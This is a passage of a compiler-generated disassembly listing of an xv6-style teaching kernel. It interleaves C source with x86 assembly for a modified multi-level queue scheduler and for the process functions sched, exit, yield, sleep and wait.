80103b6b: c3 ret 80103b6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103b70 <queueLevelCheck>: void queueLevelCheck (struct proc *p){ 80103b70: 55 push %ebp 80103b71: 89 e5 mov %esp,%ebp 80103b73: 83 ec 08 sub $0x8,%esp 80103b76: 8b 45 08 mov 0x8(%ebp),%eax if (p->remainingIterations <=0){ 80103b79: 8b 90 80 00 00 00 mov 0x80(%eax),%edx 80103b7f: 85 d2 test %edx,%edx 80103b81: 7e 15 jle 80103b98 <queueLevelCheck+0x28> if (p->iterations > p->remainingIterations){ 80103b83: 3b 90 84 00 00 00 cmp 0x84(%eax),%edx 80103b89: 7d 08 jge 80103b93 <queueLevelCheck+0x23> if (p->queueNum < 3){ 80103b8b: 8b 50 7c mov 0x7c(%eax),%edx 80103b8e: 83 fa 02 cmp $0x2,%edx 80103b91: 7e 25 jle 80103bb8 <queueLevelCheck+0x48> } 80103b93: c9 leave 80103b94: c3 ret 80103b95: 8d 76 00 lea 0x0(%esi),%esi if (p->queueNum >0){ 80103b98: 8b 50 7c mov 0x7c(%eax),%edx 80103b9b: 85 d2 test %edx,%edx 80103b9d: 7e f4 jle 80103b93 <queueLevelCheck+0x23> changeQueue(p, p->queueNum -1); 80103b9f: 83 ec 08 sub $0x8,%esp 80103ba2: 83 ea 01 sub $0x1,%edx 80103ba5: 52 push %edx 80103ba6: 50 push %eax 80103ba7: e8 44 ff ff ff call 80103af0 <changeQueue> 80103bac: 83 c4 10 add $0x10,%esp } 80103baf: c9 leave 80103bb0: c3 ret 80103bb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi changeQueue(p, p->queueNum +1); 80103bb8: 83 ec 08 sub $0x8,%esp 80103bbb: 83 c2 01 add $0x1,%edx 80103bbe: 52 push %edx 80103bbf: 50 push %eax 80103bc0: e8 2b ff ff ff call 80103af0 <changeQueue> 80103bc5: 83 c4 10 add $0x10,%esp } 80103bc8: c9 leave 80103bc9: c3 ret 80103bca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103bd0 <scheduler>: { 80103bd0: 55 push %ebp 80103bd1: 89 e5 mov %esp,%ebp 80103bd3: 57 push %edi 80103bd4: 56 push %esi 80103bd5: 53 push %ebx 80103bd6: 83 ec 1c sub $0x1c,%esp struct cpu *c = mycpu(); 80103bd9: e8 82 fb ff ff call 80103760 <mycpu> c->proc = 0; 80103bde: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103be5: 00 00 00 struct cpu *c = mycpu(); 80103be8: 89 45 e0 mov %eax,-0x20(%ebp) 80103beb: 83 c0 04 add $0x4,%eax 80103bee: 89 45 dc mov %eax,-0x24(%ebp) 80103bf1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi int maxQueue = ptable.proc->queueNum; 80103bf8: 8b 35 d0 2d 11 80 mov 0x80112dd0,%esi asm volatile("sti"); 80103bfe: fb sti acquire(&ptable.lock); 80103bff: 83 ec 0c sub $0xc,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c02: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 80103c07: 68 20 2d 11 80 push $0x80112d20 80103c0c: e8 3f 0a 00 00 call 80104650 <acquire> 80103c11: 83 c4 10 add $0x10,%esp 80103c14: eb 18 jmp 80103c2e <scheduler+0x5e> 80103c16: 8d 76 00 lea 0x0(%esi),%esi 80103c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c20: 81 c3 88 00 00 00 add $0x88,%ebx 80103c26: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80103c2c: 73 20 jae 80103c4e <scheduler+0x7e> if (p->state == RUNNABLE){ 80103c2e: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103c32: 75 ec jne 80103c20 <scheduler+0x50> queueLevelCheck(p); 80103c34: 83 ec 0c sub $0xc,%esp 80103c37: 53 push %ebx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c38: 81 c3 88 00 00 00 add $0x88,%ebx queueLevelCheck(p); 80103c3e: e8 2d ff ff ff call 80103b70 <queueLevelCheck> 80103c43: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c46: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80103c4c: 72 e0 jb 80103c2e <scheduler+0x5e> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c4e: b8 54 2d 11 80 mov $0x80112d54,%eax 80103c53: 90 nop 80103c54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (p->state == RUNNABLE && p->queueNum > maxQueue){ 80103c58: 83 78 0c 03 cmpl $0x3,0xc(%eax) 80103c5c: 75 08 jne 80103c66 <scheduler+0x96> 80103c5e: 8b 50 7c mov 0x7c(%eax),%edx 80103c61: 39 d6 cmp %edx,%esi 80103c63: 0f 4c f2 cmovl %edx,%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c66: 05 88 00 00 00 add $0x88,%eax 80103c6b: 3d 54 4f 11 80 cmp $0x80114f54,%eax 80103c70: 72 e6 jb 80103c58 <scheduler+0x88> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103c72: bb 54 2d 11 80 mov $0x80112d54,%ebx 80103c77: 89 75 e4 mov %esi,-0x1c(%ebp) 80103c7a: eb 7c jmp 80103cf8 <scheduler+0x128> 80103c7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103c80: 83 ec 08 sub $0x8,%esp p->remainingIterations--; 80103c83: 83 e8 01 sub $0x1,%eax p->iterations = 0; 80103c86: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx) 80103c8d: 00 00 00 cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103c90: 50 push %eax 80103c91: 6a 00 push $0x0 80103c93: 52 push %edx 80103c94: 57 push %edi 80103c95: 56 push %esi 80103c96: 68 9c 78 10 80 push $0x8010789c p->remainingIterations--; 80103c9b: 89 83 80 00 00 00 mov %eax,0x80(%ebx) cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103ca1: e8 ba c9 ff ff call 80100660 <cprintf> cprintf("-------------------------------------------------------------------------------------------------\n"); 80103ca6: 83 c4 14 add $0x14,%esp 80103ca9: 68 08 79 10 80 push $0x80107908 80103cae: e8 ad c9 ff ff call 80100660 <cprintf> c->proc = p; 80103cb3: 8b 7d e0 mov -0x20(%ebp),%edi 80103cb6: 89 9f ac 00 00 00 mov %ebx,0xac(%edi) switchuvm(p); 80103cbc: 89 1c 24 mov %ebx,(%esp) 80103cbf: e8 3c 2e 00 00 call 80106b00 <switchuvm> swtch(&(c->scheduler), p->context); 80103cc4: 58 pop %eax 80103cc5: 5a pop %edx 80103cc6: ff 73 1c pushl 0x1c(%ebx) 80103cc9: ff 75 dc pushl -0x24(%ebp) p->state = RUNNING; 80103ccc: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx) swtch(&(c->scheduler), p->context); 80103cd3: e8 c3 0c 00 00 call 8010499b <swtch> switchkvm(); 80103cd8: e8 03 2e 00 00 call 80106ae0 <switchkvm> c->proc = 0; 80103cdd: c7 87 ac 00 00 00 00 movl $0x0,0xac(%edi) 80103ce4: 00 00 00 80103ce7: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cea: 81 c3 88 00 00 00 add $0x88,%ebx 80103cf0: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80103cf6: 73 64 jae 80103d5c <scheduler+0x18c> if(p->state != RUNNABLE){ 80103cf8: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103cfc: 75 ec jne 80103cea <scheduler+0x11a> if ((p->queueNum < maxQueue && !(p->queueNum == 0 && maxQueue == 0)) || p->remainingIterations <= 0){ 80103cfe: 8b 53 7c mov 0x7c(%ebx),%edx 80103d01: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103d04: 8d 73 6c lea 0x6c(%ebx),%esi 80103d07: 8b 83 80 00 00 00 mov 0x80(%ebx),%eax 80103d0d: 8b 7b 10 mov 0x10(%ebx),%edi 80103d10: 39 d1 cmp %edx,%ecx 80103d12: 7e 04 jle 80103d18 <scheduler+0x148> 80103d14: 09 d1 or %edx,%ecx 80103d16: 75 08 jne 80103d20 <scheduler+0x150> 80103d18: 85 c0 test %eax,%eax 80103d1a: 0f 8f 60 ff ff ff jg 80103c80 <scheduler+0xb0> p->iterations++; 80103d20: 8b 8b 84 00 00 00 mov 0x84(%ebx),%ecx cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103d26: 83 ec 08 sub $0x8,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d29: 81 c3 88 00 00 00 add $0x88,%ebx cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103d2f: 50 push %eax p->iterations++; 80103d30: 83 c1 01 add $0x1,%ecx cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103d33: 51 push %ecx 80103d34: 52 push %edx 80103d35: 57 push %edi 80103d36: 56 push %esi 80103d37: 68 9c 78 10 80 push $0x8010789c p->iterations++; 80103d3c: 89 4b fc mov %ecx,-0x4(%ebx) cprintf("Process [%s:%d] | Queue Number: %d | Idle Count: %d | Remaining Iterations on current queue level: %d0 ms\n", p->name,p->pid, p->queueNum, 80103d3f: e8 1c c9 ff ff call 80100660 <cprintf> cprintf("-------------------------------------------------------------------------------------------------\n"); 80103d44: 83 c4 14 add $0x14,%esp 80103d47: 68 08 79 10 80 push $0x80107908 80103d4c: e8 0f c9 ff ff call 80100660 <cprintf> continue; 80103d51: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103d54: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80103d5a: 72 9c jb 80103cf8 <scheduler+0x128> release(&ptable.lock); 80103d5c: 83 ec 0c sub $0xc,%esp 80103d5f: 68 20 2d 11 80 push $0x80112d20 80103d64: e8 a7 09 00 00 call 80104710 <release> for(;;){ 80103d69: 83 c4 10 add $0x10,%esp 80103d6c: e9 87 fe ff ff jmp 80103bf8 <scheduler+0x28> 80103d71: eb 0d jmp 80103d80 <sched> 80103d73: 90 nop 80103d74: 90 nop 80103d75: 90 nop 80103d76: 90 nop 80103d77: 90 nop 80103d78: 90 nop 80103d79: 90 nop 80103d7a: 90 nop 80103d7b: 90 nop 80103d7c: 90 nop 80103d7d: 90 nop 80103d7e: 90 nop 80103d7f: 90 nop 80103d80 <sched>: { 80103d80: 55 push %ebp 80103d81: 89 e5 mov %esp,%ebp 80103d83: 56 push %esi 80103d84: 53 push %ebx pushcli(); 80103d85: e8 f6 07 00 00 call 80104580 <pushcli> c = mycpu(); 80103d8a: e8 d1 f9 ff ff call 80103760 <mycpu> p = c->proc; 80103d8f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d95: e8 26 08 00 00 call 801045c0 <popcli> if(!holding(&ptable.lock)) 80103d9a: 83 ec 0c sub $0xc,%esp 80103d9d: 68 20 2d 11 80 push $0x80112d20 80103da2: e8 79 08 00 00 call 80104620 <holding> 80103da7: 83 c4 10 add $0x10,%esp 80103daa: 85 c0 test %eax,%eax 80103dac: 74 4f je 80103dfd <sched+0x7d> if(mycpu()->ncli != 1) 80103dae: e8 ad f9 ff ff call 80103760 <mycpu> 80103db3: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103dba: 75 68 jne 80103e24 <sched+0xa4> if(p->state == RUNNING) 80103dbc: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103dc0: 74 55 je 80103e17 <sched+0x97> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103dc2: 9c pushf 80103dc3: 58 pop %eax if(readeflags()&FL_IF) 80103dc4: f6 c4 02 test $0x2,%ah 80103dc7: 75 41 jne 80103e0a <sched+0x8a> intena = mycpu()->intena; 80103dc9: e8 92 f9 ff ff call 80103760 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103dce: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103dd1: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103dd7: e8 84 f9 ff ff call 80103760 <mycpu> 80103ddc: 83 ec 08 sub $0x8,%esp 80103ddf: ff 70 04 pushl 0x4(%eax) 80103de2: 53 push %ebx 80103de3: e8 b3 0b 00 00 call 8010499b <swtch> mycpu()->intena = intena; 80103de8: e8 73 f9 ff ff call 80103760 <mycpu> } 80103ded: 83 c4 10 add $0x10,%esp mycpu()->intena = intena; 80103df0: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103df6: 8d 65 f8 lea -0x8(%ebp),%esp 80103df9: 5b pop %ebx 80103dfa: 5e pop %esi 80103dfb: 5d pop %ebp 80103dfc: c3 ret panic("sched ptable.lock"); 80103dfd: 83 ec 0c sub $0xc,%esp 80103e00: 68 88 77 10 80 push $0x80107788 80103e05: e8 86 c5 ff ff call 80100390 <panic> panic("sched interruptible"); 80103e0a: 83 ec 0c sub $0xc,%esp 80103e0d: 68 b4 77 10 80 push $0x801077b4 80103e12: e8 79 c5 ff ff call 80100390 <panic> panic("sched running"); 80103e17: 83 ec 0c sub $0xc,%esp 80103e1a: 68 a6 77 10 80 push $0x801077a6 80103e1f: e8 6c c5 ff ff call 80100390 <panic> panic("sched locks"); 80103e24: 83 ec 0c sub $0xc,%esp 80103e27: 68 9a 77 10 80 push $0x8010779a 80103e2c: e8 5f c5 ff ff call 80100390 <panic> 80103e31: eb 0d jmp 80103e40 <exit> 80103e33: 90 nop 80103e34: 90 nop 80103e35: 90 nop 80103e36: 90 nop 80103e37: 90 nop 80103e38: 90 nop 80103e39: 90 nop 80103e3a: 90 nop 80103e3b: 90 nop 80103e3c: 90 nop 80103e3d: 90 nop 80103e3e: 90 nop 80103e3f: 90 nop 80103e40 <exit>: { 80103e40: 55 push %ebp 80103e41: 89 e5 mov %esp,%ebp 80103e43: 57 push %edi 80103e44: 56 push %esi 80103e45: 53 push %ebx 80103e46: 83 ec 0c sub $0xc,%esp pushcli(); 80103e49: e8 32 07 00 00 call 80104580 <pushcli> c = mycpu(); 80103e4e: e8 0d f9 ff ff call 80103760 <mycpu> p = c->proc; 80103e53: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103e59: e8 62 07 00 00 call 801045c0 <popcli> if(curproc == initproc) 80103e5e: 39 35 b8 a5 10 80 cmp %esi,0x8010a5b8 80103e64: 8d 5e 28 lea 0x28(%esi),%ebx 80103e67: 8d 7e 68 lea 0x68(%esi),%edi 80103e6a: 0f 84 f1 00 00 00 je 80103f61 <exit+0x121> if(curproc->ofile[fd]){ 80103e70: 8b 03 mov (%ebx),%eax 80103e72: 85 c0 test %eax,%eax 80103e74: 74 12 je 80103e88 <exit+0x48> fileclose(curproc->ofile[fd]); 80103e76: 83 ec 0c sub $0xc,%esp 80103e79: 50 push %eax 80103e7a: e8 c1 cf ff ff call 80100e40 <fileclose> curproc->ofile[fd] = 0; 80103e7f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103e85: 83 c4 10 add $0x10,%esp 80103e88: 83 c3 04 add $0x4,%ebx for(fd = 0; fd < NOFILE; fd++){ 80103e8b: 39 fb cmp %edi,%ebx 80103e8d: 75 e1 jne 80103e70 <exit+0x30> begin_op(); 80103e8f: e8 0c ed ff ff call 80102ba0 <begin_op> iput(curproc->cwd); 80103e94: 83 ec 0c sub $0xc,%esp 80103e97: ff 76 68 pushl 0x68(%esi) 80103e9a: e8 11 d9 ff ff call 801017b0 <iput> end_op(); 80103e9f: e8 6c ed ff ff call 80102c10 <end_op> curproc->cwd = 0; 80103ea4: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi) acquire(&ptable.lock); 80103eab: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103eb2: e8 99 07 00 00 call 80104650 <acquire> wakeup1(curproc->parent); 80103eb7: 8b 56 14 mov 0x14(%esi),%edx 80103eba: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ebd: b8 54 2d 11 80 mov $0x80112d54,%eax 80103ec2: eb 10 jmp 80103ed4 <exit+0x94> 80103ec4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ec8: 05 88 00 00 00 add $0x88,%eax 80103ecd: 3d 54 4f 11 80 cmp $0x80114f54,%eax 80103ed2: 73 1e jae 80103ef2 <exit+0xb2> if(p->state == SLEEPING && p->chan == chan) 80103ed4: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103ed8: 75 ee jne 80103ec8 <exit+0x88> 80103eda: 3b 50 20 cmp 0x20(%eax),%edx 80103edd: 75 e9 jne 80103ec8 <exit+0x88> p->state = RUNNABLE; 80103edf: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ee6: 05 88 00 00 00 add $0x88,%eax 80103eeb: 3d 54 4f 11 80 cmp $0x80114f54,%eax 80103ef0: 72 e2 jb 80103ed4 <exit+0x94> p->parent = initproc; 80103ef2: 8b 0d b8 a5 10 80 mov 0x8010a5b8,%ecx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ef8: ba 54 2d 11 80 mov $0x80112d54,%edx 80103efd: eb 0f jmp 80103f0e <exit+0xce> 80103eff: 90 nop 80103f00: 81 c2 88 00 00 00 add $0x88,%edx 80103f06: 81 fa 54 4f 11 80 cmp $0x80114f54,%edx 80103f0c: 73 3a jae 80103f48 <exit+0x108> if(p->parent == curproc){ 80103f0e: 39 72 14 cmp %esi,0x14(%edx) 80103f11: 75 ed jne 80103f00 <exit+0xc0> if(p->state == ZOMBIE) 80103f13: 83 7a 0c 05 cmpl $0x5,0xc(%edx) p->parent = initproc; 80103f17: 89 4a 14 mov %ecx,0x14(%edx) if(p->state == ZOMBIE) 80103f1a: 75 e4 jne 80103f00 <exit+0xc0> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f1c: b8 54 2d 11 80 mov $0x80112d54,%eax 80103f21: eb 11 jmp 80103f34 <exit+0xf4> 80103f23: 90 nop 80103f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103f28: 05 88 00 00 00 add $0x88,%eax 80103f2d: 3d 54 4f 11 80 cmp $0x80114f54,%eax 80103f32: 73 cc jae 80103f00 <exit+0xc0> if(p->state == SLEEPING && p->chan == chan) 80103f34: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103f38: 75 ee jne 80103f28 <exit+0xe8> 80103f3a: 3b 48 20 cmp 0x20(%eax),%ecx 80103f3d: 75 e9 jne 80103f28 <exit+0xe8> p->state = RUNNABLE; 80103f3f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103f46: eb e0 jmp 80103f28 <exit+0xe8> curproc->state = ZOMBIE; 80103f48: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi) sched(); 80103f4f: e8 2c fe ff ff call 80103d80 <sched> panic("zombie exit"); 80103f54: 83 ec 0c sub $0xc,%esp 80103f57: 68 d5 77 10 80 push $0x801077d5 80103f5c: e8 2f c4 ff ff call 80100390 <panic> panic("init exiting"); 80103f61: 83 ec 0c sub $0xc,%esp 80103f64: 68 c8 77 10 80 push $0x801077c8 80103f69: e8 22 c4 ff ff call 80100390 <panic> 80103f6e: 66 90 xchg %ax,%ax 80103f70 <yield>: { 80103f70: 55 push %ebp 80103f71: 89 e5 mov %esp,%ebp 80103f73: 53 push %ebx 80103f74: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 80103f77: 68 20 2d 11 80 push $0x80112d20 80103f7c: e8 cf 06 00 00 call 80104650 <acquire> pushcli(); 80103f81: e8 fa 05 00 00 call 80104580 <pushcli> c = mycpu(); 80103f86: e8 d5 f7 ff ff call 80103760 <mycpu> p = c->proc; 80103f8b: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103f91: e8 2a 06 00 00 call 801045c0 <popcli> myproc()->state = RUNNABLE; 80103f96: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80103f9d: e8 de fd ff ff call 80103d80 <sched> release(&ptable.lock); 80103fa2: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103fa9: e8 62 07 00 00 call 80104710 <release> } 80103fae: 83 c4 10 add $0x10,%esp 80103fb1: 8b 5d fc mov -0x4(%ebp),%ebx 80103fb4: c9 leave 80103fb5: c3 ret 80103fb6: 8d 76 00 lea 0x0(%esi),%esi 80103fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103fc0 <sleep>: { 80103fc0: 55 push %ebp 80103fc1: 89 e5 mov %esp,%ebp 80103fc3: 57 push %edi 80103fc4: 56 push %esi 80103fc5: 53 push %ebx 80103fc6: 83 ec 0c sub $0xc,%esp 80103fc9: 8b 7d 08 mov 0x8(%ebp),%edi 80103fcc: 8b 75 0c mov 0xc(%ebp),%esi pushcli(); 80103fcf: e8 ac 05 00 00 call 80104580 <pushcli> c = mycpu(); 80103fd4: e8 87 f7 ff ff call 80103760 <mycpu> p = c->proc; 80103fd9: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103fdf: e8 dc 05 00 00 call 801045c0 <popcli> if(p == 0) 80103fe4: 85 db test %ebx,%ebx 80103fe6: 0f 84 87 00 00 00 je 80104073 <sleep+0xb3> if(lk == 0) 80103fec: 85 f6 test %esi,%esi 80103fee: 74 76 je 80104066 <sleep+0xa6> if(lk != &ptable.lock){ //DOC: sleeplock0 80103ff0: 81 fe 20 2d 11 80 cmp $0x80112d20,%esi 80103ff6: 74 50 je 80104048 <sleep+0x88> acquire(&ptable.lock); //DOC: sleeplock1 80103ff8: 83 ec 0c sub $0xc,%esp 80103ffb: 68 20 2d 11 80 push $0x80112d20 80104000: e8 4b 06 00 00 call 80104650 <acquire> release(lk); 80104005: 89 34 24 mov %esi,(%esp) 80104008: e8 03 07 00 00 call 80104710 <release> p->chan = chan; 8010400d: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80104010: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80104017: e8 64 fd ff ff call 80103d80 <sched> p->chan = 0; 8010401c: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) release(&ptable.lock); 80104023: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010402a: e8 e1 06 00 00 call 80104710 <release> acquire(lk); 8010402f: 89 75 08 mov %esi,0x8(%ebp) 80104032: 83 c4 10 add $0x10,%esp } 80104035: 8d 65 f4 lea -0xc(%ebp),%esp 80104038: 5b pop %ebx 80104039: 5e pop %esi 8010403a: 5f pop %edi 8010403b: 5d pop %ebp acquire(lk); 8010403c: e9 0f 06 00 00 jmp 80104650 <acquire> 80104041: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi p->chan = chan; 80104048: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 8010404b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80104052: e8 29 fd ff ff call 80103d80 <sched> p->chan = 0; 80104057: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) } 8010405e: 8d 65 f4 lea -0xc(%ebp),%esp 80104061: 5b pop %ebx 80104062: 5e pop %esi 80104063: 5f pop %edi 80104064: 5d pop %ebp 80104065: c3 ret panic("sleep without lk"); 80104066: 83 ec 0c sub $0xc,%esp 80104069: 68 e7 77 10 80 push $0x801077e7 8010406e: e8 1d c3 ff ff call 80100390 <panic> panic("sleep"); 80104073: 83 ec 0c sub $0xc,%esp 80104076: 68 e1 77 10 80 push $0x801077e1 8010407b: e8 10 c3 ff ff call 80100390 <panic> 80104080 <wait>: { 80104080: 55 push %ebp 80104081: 89 e5 mov %esp,%ebp 80104083: 56 push %esi 80104084: 53 push %ebx pushcli(); 80104085: e8 f6 04 00 00 call 80104580 <pushcli> c = mycpu(); 8010408a: e8 d1 f6 ff ff call 80103760 <mycpu> p = c->proc; 8010408f: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80104095: e8 26 05 00 00 call 801045c0 <popcli> acquire(&ptable.lock); 8010409a: 83 ec 0c sub $0xc,%esp 8010409d: 68 20 2d 11 80 push $0x80112d20 801040a2: e8 a9 05 00 00 call 80104650 <acquire> 801040a7: 83 c4 10 add $0x10,%esp havekids = 0; 801040aa: 31 c0 xor %eax,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801040ac: bb 54 2d 11 80 mov $0x80112d54,%ebx 801040b1: eb 13 jmp 801040c6 <wait+0x46> 801040b3: 90 nop 801040b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801040b8: 81 c3 88 00 00 00 add $0x88,%ebx 801040be: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 801040c4: 73 1e jae 801040e4 <wait+0x64> if(p->parent != curproc) 801040c6: 39 73 14 cmp %esi,0x14(%ebx) 801040c9: 75 ed jne 801040b8 <wait+0x38> if(p->state == ZOMBIE){ 801040cb: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 801040cf: 74 37 je 80104108 <wait+0x88> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801040d1: 81 c3 88 00 00 00 add $0x88,%ebx havekids = 1; 801040d7: b8 01 00 00 00 mov $0x1,%eax for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801040dc: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 801040e2: 72 e2 jb 801040c6 <wait+0x46> if(!havekids || curproc->killed){ 801040e4: 85 c0 test %eax,%eax 801040e6: 74 76 je 8010415e <wait+0xde> 801040e8: 8b 46 24 mov 0x24(%esi),%eax 801040eb: 85 c0 test %eax,%eax 801040ed: 75 6f jne 8010415e <wait+0xde> sleep(curproc, &ptable.lock); //DOC: wait-sleep 801040ef: 83 ec 08 sub $0x8,%esp 801040f2: 68 20 2d 11 80 push $0x80112d20 801040f7: 56 push %esi 801040f8: e8 c3 fe ff ff call 80103fc0 <sleep> havekids = 0; 801040fd: 83 c4 10 add $0x10,%esp 80104100: eb a8 jmp 801040aa <wait+0x2a> 80104102: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kfree(p->kstack); 80104108: 83 ec 0c sub $0xc,%esp 8010410b: ff 73 08 pushl 0x8(%ebx) pid = p->pid; 8010410e: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80104111: e8 fa e1 ff ff call 80102310 <kfree> freevm(p->pgdir); 80104116: 5a pop %edx 80104117: ff 73 04 pushl 0x4(%ebx) p->kstack = 0; 8010411a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80104121: e8 8a 2d 00 00 call 80106eb0 <freevm> release(&ptable.lock); 80104126: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->pid = 0; 8010412d: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80104134: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 8010413b: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 8010413f: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80104146: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 8010414d: e8 be 05 00 00 call 80104710 <release> return pid; 80104152: 83 c4 10 add $0x10,%esp } 80104155: 8d 65 f8 lea -0x8(%ebp),%esp 80104158: 89 f0 mov %esi,%eax 8010415a: 5b pop %ebx 8010415b: 5e pop %esi 8010415c: 5d pop %ebp 8010415d: c3 ret release(&ptable.lock); 8010415e: 83 ec 0c sub $0xc,%esp return -1; 80104161: be ff ff ff ff mov $0xffffffff,%esi release(&ptable.lock); 80104166: 68 20 2d 11 80 push $0x80112d20 8010416b: e8 a0 05 00 00 call 80104710 <release> return -1; 80104170: 83 c4 10 add $0x10,%esp 80104173: eb e0 jmp 80104155 <wait+0xd5> 80104175: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104180 <wakeup>: } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 80104180: 55 push %ebp 80104181: 89 e5 mov %esp,%ebp 80104183: 53 push %ebx 80104184: 83 ec 10 sub $0x10,%esp 80104187: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 8010418a: 68 20 2d 11 80 push $0x80112d20 8010418f: e8 bc 04 00 00 call 80104650 <acquire> 80104194: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104197: b8 54 2d 11 80 mov $0x80112d54,%eax 8010419c: eb 0e jmp 801041ac <wakeup+0x2c> 8010419e: 66 90 xchg %ax,%ax 801041a0: 